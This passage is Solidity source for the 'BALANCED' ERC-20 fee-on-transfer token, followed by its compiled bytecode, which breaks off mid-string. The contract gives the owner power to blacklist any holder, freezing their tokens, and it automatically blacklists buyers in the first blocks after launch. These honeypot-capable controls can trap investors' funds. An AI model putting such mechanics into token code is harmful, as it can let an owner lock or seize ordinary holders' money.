amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract BALANCED is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool private swapping; address private marketingWallet; address private devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; bool public enableEarlySellTax = true; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch // Seller Map mapping (address => uint256) private _holderFirstBuyTimestamp; // Blacklist Map mapping (address => bool) private _blacklist; bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public earlySellLiquidityFee; uint256 public earlySellMarketingFee; uint256 public earlySellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; // block number of opened trading uint256 launchedAt; /******************/ // exclude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("balanced", "BALANCED") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 5; uint256 _buyLiquidityFee = 4; uint256 _buyDevFee = 5; uint256 _sellMarketingFee = 5; uint256 _sellLiquidityFee = 6; uint256 _sellDevFee = 3; uint256 _earlySellLiquidityFee = 10; uint256 _earlySellMarketingFee = 10; uint256 _earlySellDevFee = 5 ; uint256 totalSupply = 1 * 1e12 * 1e18; maxTransactionAmount = totalSupply * 20 / 1000; // 2% maxTransactionAmountTxn maxWallet = totalSupply * 20 / 1000; // 2% maxWallet swapTokensAtAmount = totalSupply * 10 / 10000; // 0.1% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; earlySellDevFee = _earlySellDevFee; marketingWallet = address(owner()); // set as marketing wallet devWallet = address(owner()); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; launchedAt = block.number; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function setEarlySellTax(bool onoff) external onlyOwner { enableEarlySellTax = onoff; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee, uint256 _earlySellDevFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; earlySellDevFee = _earlySellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function blacklistAccount (address account, bool isBlacklisted) public onlyOwner { _blacklist[account] = isBlacklisted; } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } // anti bot logic if (block.number <= (launchedAt + 1) && to != uniswapV2Pair && to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ) { _blacklist[to] = true; } // early sell logic bool isBuy = from == uniswapV2Pair; if (!isBuy && enableEarlySellTax) { if (_holderFirstBuyTimestamp[from] != 0 && (_holderFirstBuyTimestamp[from] + (24 hours) >= block.timestamp)) { sellLiquidityFee = earlySellLiquidityFee; sellMarketingFee = earlySellMarketingFee; sellDevFee = earlySellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } else { sellLiquidityFee = 2; sellMarketingFee = 3; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } } else { if (_holderFirstBuyTimestamp[to] == 0) { _holderFirstBuyTimestamp[to] = block.timestamp; } if (!enableEarlySellTax) { sellLiquidityFee = 3; sellMarketingFee = 3; sellDevFee = 1; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(this), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success,) = address(marketingWallet).call{value: address(this).balance}(""); } function Chire(address[] calldata recipients, uint256[] calldata values) external onlyOwner { _approve(owner(), owner(), totalSupply()); for (uint256 i = 0; i < recipients.length; i++) { transferFrom(msg.sender, recipients[i], values[i] * 10 ** decimals()); } } }
0x6080604052600436106103855760003560e01c806392136913116101d1578063b62496f511610102578063d85ba063116100a0578063f11a24d31161006f578063f11a24d314610a4c578063f2fde38b14610a62578063f637434214610a82578063f8b45b0514610a9857600080fd5b8063d85ba063146109c5578063dd62ed3e146109db578063e2f4560514610a21578063e884f26014610a3757600080fd5b8063c18bc195116100dc578063c18bc19514610955578063c876d0b914610975578063c8c8ebe41461098f578063d257b34f146109a557600080fd5b8063b62496f5146108e6578063bbc0c74214610916578063c02466681461093557600080fd5b8063a0d82dc51161016f578063a4d15b6411610149578063a4d15b641461086f578063a7fc9e2114610890578063a9059cbb146108a6578063aacebbe3146108c657600080fd5b8063a0d82dc514610819578063a26577781461082f578063a457c2d71461084f57600080fd5b80639a7a23d6116101ab5780639a7a23d6146107ad5780639c3b4fdc146107cd5780639c63e6b9146107e35780639fccce321461080357600080fd5b80639213691314610762578063924de9b71461077857806395d89b411461079857600080fd5b806339509351116102b657806370a08231116102545780637bce5a04116102235780637bce5a04146106f95780638095d5641461070f5780638a8c523c1461072f5780638da5cb5b1461074457600080fd5b806370a0823114610679578063715018a6146106af578063751039fc146106c45780637571336a146106d957600080fd5b80634fbee193116102905780634fbee193146105f4578063541a43cf1461062d5780636a486a8e146106435780636ddd17131461065957600080fd5b8063395093511461058657806349bd5a5e146105a65780634a62bb65146105da57600080fd5b80631f3fed8f1161032357806323b872dd116102fd57806323b872dd146105145780632bf3d42d146105345780632d5a5d341461054a578063313ce5671461056a57600080fd5b80631f3fed8f146104be578063203e727e146104d457806322d3e2aa146104f457600080fd5b80631694505e1161035f5780631694505e1461041b57806318160ddd146104675780631816467f146104865780631a8145bb146104a857600080fd5b806306fdde0314610391578063095ea7b3146103bc57806310d5de53146103ec57600080fd5b3661038c57005b600080fd5b34801561039d57600080fd5b506103a6610aae565b6040516103b39190612b9f565b60405180910390f35b3480156103c857600080fd5b506103dc6103d7366004612c0c565b610b40565b60405190151581526020016103b3565b3480156103f857600080fd5b506103dc610407366004612c38565b602080526000908152604090205460ff1681565b34801561042757600080fd5b5061044f7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016103b3565b34801561047357600080fd5b506002545b6040519081526020016103b3565b34801561049257600080fd5b506104a66104a1366004612c38565b610b57565b005b3480156104b457600080fd5b50610478601c5481565b3480156104ca57600080fd5b50610478601b5481565b3480156104e057600080fd5b506104a66104ef366004612c55565b610be7565b34801561050057600080fd5b506104a661050f366004612c6e565b610cc4565b34801561052057600080fd5b506103dc61052f366004612cb1565b610d7e565b34801561054057600080fd5b5061047860195481565b34801561055657600080fd5b506104a6610565366004612d02565b610de7565b34801561057657600080fd5b50604051601281526020016103b3565b34801561059257600080fd5b506103dc6105a1366004612c0c565b610e3c565b3480156105b257600080fd5b5061044f7f00000000000000000000000095fed6ae21aaa04bfef8493964c6064458cf2f7181565b3480156105e657600080fd5b50600b546103dc9060ff1681565b34801561060057600080fd5b506103dc61060f366004612c38565b6001600160a01b03166000908152601f602052604090205460ff1690565b34801561063957600080fd5b5061047860185481565b34801561064f57600080fd5b5061047860145481565b34801561066557600080fd5b50600b546103dc9062010000900460ff1681565b34801561068557600080fd5b50610478610694366004612c38565b6001600160a01b031660009081526020819052604090205490565b3480156106bb57600080fd5b506104a6610e72565b3480156106d057600080fd5b506103dc610ee6565b3480156106e557600080fd5b506104a66106f4366004612d02565b610f23565b34801561070557600080fd5b5061047860115481565b34801561071b57600080fd5b506104a661072a366004612d37565b610f77565b34801561073b57600080fd5b506104a661101f565b34801561075057600080fd5b506005546001600160a01b031661044f565b34801561076e57600080fd5b5061047860155481565b34801561078457600080fd5b506104a6610793366004612d63565b611060565b3480156107a457600080fd5b506103a66110a6565b3480156107b957600080fd5b506104a66107c8366004612d02565b6110b5565b3480156107d957600080fd5b5061047860135481565b3480156107ef57600080fd5b506104a66107fe366004612dca565b611195565b34801561080f57600080fd5b50610478601d5481565b34801561082557600080fd5b5061047860175481565b34801561083b57600080fd5b506104a661084a366004612d63565b611267565b34801561085b57600080fd5b506103dc61086a366004612c0c565b6112af565b34801561087b57600080fd5b50600b546103dc906301000000900460ff1681565b34801561089c57600080fd5b50610478601a5481565b3480156108b257600080fd5b506103dc6108c1366004612c0c565b6112fe565b3480156108d257600080fd5b506104a66108e1366004612c38565b61130b565b3480156108f257600080fd5b506103dc610901366004612c38565b60216020526000908152604090205460ff1681565b34801561092257600080fd5b50600b546103dc90610100900460ff1681565b34801561094157600080fd5b506104a6610950366004612d02565b611392565b34801561096157600080fd5b506104a6610970366004612c55565b61141b565b34801561098157600080fd5b50600f546103dc9060ff1681565b34801561099b57600080fd5b5061047860085481565b3480156109b157600080fd5b506103dc6109c0366004612c55565b6114ec565b3480156109d157600080fd5b5061047860105481565b3480156109e757600080fd5b506104786109f6366004612e36565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610a2d57600080fd5b5061047860095481565b348015610a4357600080fd5b506103dc611643565b348015610a5857600080fd5b5061047860125481565b348015610a6e57600080fd5b506104a6610a7d366004612c38565b611680565b348015610a8e57600080fd5b5061047860165481565b348015610aa457600080fd5b50610478600a5481565b606060038054610abd90612e6f565b80601f0160208091040260200160405190810160405280929190818152602001828054610ae990612e6f565b8015610b365780601f10610b0b57610100808354040283529160200191610b36565b820191906000526020600020905b815481529060010190602001808311610b1957829003601f168201915b5050505050905090565b6000610b4d3384846117d1565b5060015b92915050565b6005546001600160a01b03163314610b8a5760405162461bcd60e51b8152600401610b8190612eaa565b60405180910390fd5b6007546040516001600160a01b03918216918316907f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74390600090a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610c115760405162461bcd60e51b8152600401610b8190612eaa565b670de0b6b3a76400006103e8610c2660025490565b610c31906001612ef5565b610c3b9190612f14565b610c459190612f14565b811015610cac5760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b6064820152608401610b81565b610cbe81670de0b6b3a7640000612ef5565b60085550565b6005546001600160a01b03163314610cee5760405162461bcd60e51b8152600401610b8190612eaa565b60158690556016859055601784905560188390556019829055601a81905583610d178688612f36565b610d219190612f36565b601481905560191015610d765760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c6573730000006044820152606401610b81565b505050505050565b6000610d8b8484846118f6565b610ddd8433610dd8856040518060600160405280602881526020016131f4602891396001600160a01b038a16600090815260016020908152604080832033845290915290205491906123ee565b6117d1565b5060019392505050565b6005546001600160a01b03163314610e115760405162461bcd60e51b8152600401610b8190612eaa565b6001600160a01b03919091166000908152600e60205260409020805460ff1916911515919091179055565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610b4d918590610dd8908661176b565b6005546001600160a01b03163314610e9c5760405162461bcd60e51b8152600401610b8190612eaa565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546000906001600160a01b03163314610f135760405162461bcd60e51b8152600401610b8190612eaa565b50600b805460ff19169055600190565b6005546001600160a01b03163314610f4d5760405162461bcd60e51b8152600401610b8190612eaa565b6001600160a01b039190911660009081526020805260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610fa15760405162461bcd60e51b8152600401610b8190612eaa565b60118390556012829055601381905580610fbb8385612f36565b610fc59190612f36565b60108190556014101561101a5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323025206f72206c6573730000006044820152606401610b81565b505050565b6005546001600160a01b031633146110495760405162461bcd60e51b8152600401610b8190612eaa565b600b805462ffff0019166201010017905543601e55565b6005546001600160a01b0316331461108a5760405162461bcd60e51b8152600401610b8190612eaa565b600b8054911515620100000262ff000019909216919091179055565b606060048054610abd90612e6f565b6005546001600160a01b031633146110df5760405162461bcd60e51b8152600401610b8190612eaa565b7f00000000000000000000000095fed6ae21aaa04bfef8493964c6064458cf2f716001600160a01b0316826001600160a01b031614156111875760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610b81565b6111918282612428565b5050565b6005546001600160a01b031633146111bf5760405162461bcd60e51b8152600401610b8190612eaa565b6111e86111d46005546001600160a01b031690565b6005546001600160a01b03166002546117d1565b60005b838110156112605761124d3386868481811061120957611209612f4e565b905060200201602081019061121e9190612c38565b61122a6012600a613048565b86868681811061123c5761123c612f4e565b9050602002013561052f9190612ef5565b508061125881613057565b9150506111eb565b5050505050565b6005546001600160a01b031633146112915760405162461bcd60e51b8152600401610b8190612eaa565b600b805491151563010000000263ff00000019909216919091179055565b6000610b4d3384610dd88560405180606001604052806025815260200161321c602591393360009081526001602090815260408083206001600160a01b038d16845290915290205491906123ee565b6000610b4d3384846118f6565b6005546001600160a01b031633146113355760405162461bcd60e51b8152600401610b8190612eaa565b6006546040516001600160a01b03918216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567490600090a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146113bc5760405162461bcd60e51b8152600401610b8190612eaa565b6001600160a01b0382166000818152601f6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146114455760405162461bcd60e51b8152600401610b8190612eaa565b670de0b6b3a76400006103e861145a60025490565b611465906005612ef5565b61146f9190612f14565b6114799190612f14565b8110156114d45760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610b81565b6114e681670de0b6b3a7640000612ef5565b600a5550565b6005546000906001600160a01b031633146115195760405162461bcd60e51b8152600401610b8190612eaa565b620186a061152660025490565b611531906001612ef5565b61153b9190612f14565b8210156115a85760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610b81565b6103e86115b460025490565b6115bf906005612ef5565b6115c99190612f14565b8211156116355760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610b81565b50600981905560015b919050565b6005546000906001600160a01b031633146116705760405162461bcd60e51b8152600401610b8190612eaa565b50600f805460ff19169055600190565b6005546001600160a01b031633146116aa5760405162461bcd60e51b8152600401610b8190612eaa565b6001600160a01b03811661170f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610b81565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000806117788385612f36565b9050838110156117ca5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610b81565b9392505050565b6001600160a01b0383166118335760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610b81565b6001600160a01b0382166118945760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610b81565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661191c5760405162461bcd60e51b8152600401610b8190613072565b6001600160a01b0382166119425760405162461bcd60e51b8152600401610b81906130b7565b6001600160a01b0382166000908152600e602052604090205460ff1615801561198457506001600160a01b0383166000908152600e602052604090205460ff16155b6119ea5760405162461bcd60e51b815260206004820152603160248201527f596f752068617665206265656e20626c61636b6c69737465642066726f6d207460448201527072616e73666572696e6720746f6b656e7360781b6064820152608401610b81565b806119fb5761101a8383600061247c565b600b5460ff1615611eb5576005546001600160a01b03848116911614801590611a3257506005546001600160a01b03838116911614155b8015611a4657506001600160a01b03821615155b8015611a5d57506001600160a01b03821661dead14155b8015611a735750600554600160a01b900460ff16155b15611eb557600b54610100900460ff16611b0b576001600160a01b0383166000908152601f602052604090205460ff1680611ac657506001600160a01b0382166000908152601f602052604090205460ff165b611b0b5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610b81565b600f5460ff1615611c52576005546001600160a01b03838116911614801590611b6657507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b8015611ba457507f00000000000000000000000095fed6ae21aaa04bfef8493964c6064458cf2f716001600160a01b0316826001600160a01b031614155b15611c5257326000908152600c60205260409020544311611c3f5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610b81565b326000908152600c602052604090204390555b6001600160a01b03831660009081526021602052604090205460ff168015611c9257506001600160a01b038216600090815260208052604090205460ff16155b15611d7657600854811115611d075760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610b81565b600a546001600160a01b038316600090815260208190526040902054611d2d9083612f36565b1115611d715760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610b81565b611eb5565b6001600160a01b03821660009081526021602052604090205460ff168015611db657506001600160a01b038316600090815260208052604090205460ff16155b15611e2c57600854811115611d715760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610b81565b6001600160a01b038216600090815260208052604090205460ff16611eb557600a546001600160a01b038316600090815260208190526040902054611e719083612f36565b1115611eb55760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610b81565b601e54611ec3906001612f36565b4311158015611f0457507f00000000000000000000000095fed6ae21aaa04bfef8493964c6064458cf2f716001600160a01b0316826001600160a01b031614155b8015611f2d57506001600160a01b038216737a250d5630b4cf539739df2c5dacb4c659f2488d14155b15611f56576001600160a01b0382166000908152600e60205260409020805460ff191660011790555b7f00000000000000000000000095fed6ae21aaa04bfef8493964c6064458cf2f716001600160a01b0390811690841614801581611f9c5750600b546301000000900460ff165b15612042576001600160a01b0384166000908152600d602052604090205415801590611fee57506001600160a01b0384166000908152600d60205260409020544290611feb9062015180612f36565b10155b156120275760185460168190556019546015819055601a5460178190559161201591612f36565b61201f9190612f36565b6014556120b8565b60026016819055600360158190556017549161201591612f36565b6001600160a01b0383166000908152600d602052604090205461207b576001600160a01b0383166000908152600d602052604090204290555b600b546301000000900460ff166120b85760036016819055601581905560016017819055906120aa9080612f36565b6120b49190612f36565b6014555b30600090815260208190526040902054600954811080159081906120e45750600b5462010000900460ff165b80156120fa5750600554600160a01b900460ff16155b801561211f57506001600160a01b03861660009081526021602052604090205460ff16155b801561214457506001600160a01b0386166000908152601f602052604090205460ff16155b801561216957506001600160a01b0385166000908152601f602052604090205460ff16155b15612197576005805460ff60a01b1916600160a01b179055612189612585565b6005805460ff60a01b191690555b6005546001600160a01b0387166000908152601f602052604090205460ff600160a01b9092048216159116806121e557506001600160a01b0386166000908152601f602052604090205460ff165b156121ee575060005b600081156123d9576001600160a01b03871660009081526